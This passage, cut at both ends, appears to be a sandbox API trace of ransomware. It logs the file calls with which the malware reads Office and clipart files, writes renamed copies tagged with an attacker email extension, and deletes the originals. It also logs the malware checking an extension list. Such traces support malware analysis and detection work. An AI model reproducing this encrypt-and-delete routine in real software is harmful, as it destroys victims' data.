(lpString1=".7z", lpString2="htm") returned -1 [0212.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0212.374] lstrlenW (lpString=".dbf") returned 4 [0212.374] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0221.156] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.156] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0221.530] GetLastError () returned 0x0 [0221.530] ReadFile (in: hFile=0x30c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x4932, lpOverlapped=0x0) returned 1 [0223.375] WriteFile (in: hFile=0x370, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x4940, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x4940, lpOverlapped=0x0) returned 1 [0223.379] ReadFile (in: hFile=0x30c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0223.379] WriteFile (in: hFile=0x370, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0223.379] SetEndOfFile (hFile=0x370) returned 1 [0223.379] CloseHandle (hObject=0x370) returned 1 [0223.380] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.380] SetEndOfFile (hFile=0x30c) returned 1 [0223.389] CloseHandle (hObject=0x30c) returned 1 [0223.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0223.391] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) returned 1 [0223.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0223.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0223.395] lstrlenW (lpString=".doc") returned 4 [0223.395] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0223.395] lstrlenW (lpString=".docx") returned 5 [0223.395] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0223.395] lstrlenW (lpString=".pdf") returned 4 [0223.395] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0223.395] lstrlenW (lpString=".xls") returned 4 [0223.395] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0223.395] lstrlenW (lpString=".xlsx") returned 5 [0223.396] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0223.396] lstrlenW (lpString=".ppt") returned 4 [0223.397] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0223.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0223.397] lstrlenW (lpString=".zip") returned 4 [0223.397] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0223.397] lstrlenW (lpString=".rar") returned 4 [0223.397] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0223.397] lstrlenW (lpString=".bz2") returned 4 [0223.397] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0223.397] lstrlenW (lpString=".7z") returned 3 [0223.397] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0223.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0223.397] lstrlenW (lpString=".dbf") returned 4 [0223.397] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0223.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0223.398] lstrlenW (lpString=".1cd") returned 4 [0223.398] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0223.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0223.398] lstrlenW (lpString=".jpg") returned 4 [0223.398] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0223.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0223.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0223.398] lstrlenW (lpString=".doc") returned 4 [0223.398] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0223.399] lstrlenW (lpString=".docx") returned 5 [0223.399] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0223.399] lstrlenW (lpString=".pdf") returned 4 [0223.399] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0223.399] lstrlenW (lpString=".xls") returned 4 [0223.399] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0223.399] lstrlenW (lpString=".xlsx") returned 5 [0223.399] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0223.399] lstrlenW (lpString=".ppt") returned 4 [0223.399] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0223.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0223.399] lstrlenW (lpString=".zip") returned 4 [0223.400] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0223.400] lstrlenW (lpString=".rar") returned 4 [0223.400] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0223.400] lstrlenW (lpString=".bz2") returned 4 [0223.400] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0223.400] lstrlenW (lpString=".7z") returned 3 [0223.400] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0223.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0223.401] lstrlenW (lpString=".dbf") returned 4 [0223.401] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0223.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0223.401] lstrlenW (lpString=".1cd") returned 4 [0223.401] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0223.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0223.401] lstrlenW (lpString=".jpg") returned 4 [0223.401] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0223.402] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0223.402] lstrlenW (lpString="AG00004_.GIF") returned 12 [0223.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0223.412] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=9024) returned 1 [0223.413] CloseHandle (hObject=0x30c) returned 1 [0223.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 0x20 [0223.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0223.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0223.414] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.414] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0226.519] GetLastError () returned 0x0 [0226.519] ReadFile (in: hFile=0x30c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x2340, lpOverlapped=0x0) returned 1 [0226.529] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x2350, lpOverlapped=0x0) returned 1 [0226.533] ReadFile (in: hFile=0x30c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0226.533] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0226.533] SetEndOfFile (hFile=0x35c) returned 1 [0227.082] CloseHandle (hObject=0x35c) returned 1 [0227.083] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0227.083] SetEndOfFile (hFile=0x30c) returned 1 [0227.178] CloseHandle (hObject=0x30c) returned 1 [0227.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0227.284] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 1 [0227.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0227.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0227.400] lstrlenW (lpString=".doc") returned 4 [0227.400] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0227.400] lstrlenW (lpString=".docx") returned 5 [0227.400] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0227.400] lstrlenW (lpString=".pdf") returned 4 [0227.400] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0227.400] lstrlenW (lpString=".xls") returned 4 [0227.400] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0227.400] lstrlenW (lpString=".xlsx") returned 5 [0227.400] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0227.400] lstrlenW (lpString=".ppt") returned 4 [0227.400] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0227.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0227.401] lstrlenW (lpString=".zip") returned 4 [0227.401] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0227.401] lstrlenW (lpString=".rar") returned 4 [0227.401] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0227.401] lstrlenW (lpString=".bz2") returned 4 [0227.401] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0227.401] lstrlenW (lpString=".7z") returned 3 [0227.401] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0227.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0227.401] lstrlenW (lpString=".dbf") returned 4 [0227.401] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0227.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0227.402] lstrlenW (lpString=".1cd") returned 4 [0227.402] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0227.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0227.402] lstrlenW (lpString=".jpg") returned 4 [0227.402] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0227.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0227.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0227.402] lstrlenW (lpString=".doc") returned 4 [0227.402] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0227.402] lstrlenW (lpString=".docx") returned 5 [0227.403] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0227.403] lstrlenW (lpString=".pdf") returned 4 [0227.403] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0227.403] lstrlenW (lpString=".xls") returned 4 [0227.403] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0227.403] lstrlenW (lpString=".xlsx") returned 5 [0227.403] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0227.403] lstrlenW (lpString=".ppt") returned 4 [0227.403] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0227.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0227.403] lstrlenW (lpString=".zip") returned 4 [0227.403] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0227.404] lstrlenW (lpString=".rar") returned 4 [0227.404] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0227.404] lstrlenW (lpString=".bz2") returned 4 [0227.404] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0227.404] lstrlenW (lpString=".7z") returned 3 [0227.404] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0227.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0227.404] lstrlenW (lpString=".dbf") returned 4 [0227.404] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0227.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0227.404] lstrlenW (lpString=".1cd") returned 4 [0227.404] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0227.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0227.404] lstrlenW (lpString=".jpg") returned 4 [0227.404] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0227.405] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0227.405] lstrlenW (lpString="AG00040_.GIF") returned 12 [0227.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0227.406] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=8097) returned 1 [0227.406] CloseHandle (hObject=0x1c0) returned 1 [0227.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 0x20 [0227.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0227.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0227.407] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0227.408] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0227.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0227.413] GetLastError () returned 0x0 [0227.413] ReadFile (in: hFile=0x1c0, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1fa1, lpOverlapped=0x0) returned 1 [0227.419] WriteFile (in: hFile=0x39c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1fb0, lpOverlapped=0x0) returned 1 [0227.422] ReadFile (in: hFile=0x1c0, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0227.422] WriteFile (in: hFile=0x39c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0227.422] SetEndOfFile (hFile=0x39c) returned 1 [0227.423] CloseHandle (hObject=0x39c) returned 1 [0227.423] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0227.423] SetEndOfFile (hFile=0x1c0) returned 1 [0229.048] CloseHandle (hObject=0x1c0) returned 1 [0229.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0229.288] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 1 [0229.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0229.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0229.310] lstrlenW (lpString=".doc") returned 4 [0229.310] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.310] lstrlenW (lpString=".docx") returned 5 [0229.310] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0229.310] lstrlenW (lpString=".pdf") returned 4 [0229.310] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.310] lstrlenW (lpString=".xls") returned 4 [0229.310] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.310] lstrlenW (lpString=".xlsx") returned 5 [0229.310] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0229.310] lstrlenW (lpString=".ppt") returned 4 [0229.311] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0229.311] lstrlenW (lpString=".zip") returned 4 [0229.311] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.311] lstrlenW (lpString=".rar") returned 4 [0229.311] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.311] lstrlenW (lpString=".bz2") returned 4 [0229.311] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.311] lstrlenW (lpString=".7z") returned 3 [0229.311] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0229.311] lstrlenW (lpString=".dbf") returned 4 [0229.312] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0229.312] lstrlenW (lpString=".1cd") returned 4 [0229.312] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0229.312] lstrlenW (lpString=".jpg") returned 4 [0229.312] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0229.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0229.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0229.312] lstrlenW (lpString=".doc") returned 4 [0229.312] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.312] lstrlenW (lpString=".docx") returned 5 [0229.313] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0229.313] lstrlenW (lpString=".pdf") returned 4 [0229.313] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.313] lstrlenW (lpString=".xls") returned 4 [0229.313] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.313] lstrlenW (lpString=".xlsx") returned 5 [0229.313] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0229.313] lstrlenW (lpString=".ppt") returned 4 [0229.313] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0229.313] lstrlenW (lpString=".zip") returned 4 [0229.313] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.313] lstrlenW (lpString=".rar") returned 4 [0229.314] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.314] lstrlenW (lpString=".bz2") returned 4 [0229.314] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.314] lstrlenW (lpString=".7z") returned 3 [0229.314] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0229.314] lstrlenW (lpString=".dbf") returned 4 [0229.314] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0229.315] lstrlenW (lpString=".1cd") returned 4 [0229.315] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 63 [0229.315] lstrlenW (lpString=".jpg") returned 4 [0229.315] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0229.532] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0229.532] lstrlenW (lpString="AG00103_.GIF") returned 12 [0229.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0229.535] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=12702) returned 1 [0229.535] CloseHandle (hObject=0x324) returned 1 [0229.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 0x20 [0229.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0229.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0229.536] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0229.537] SetFilePointerEx 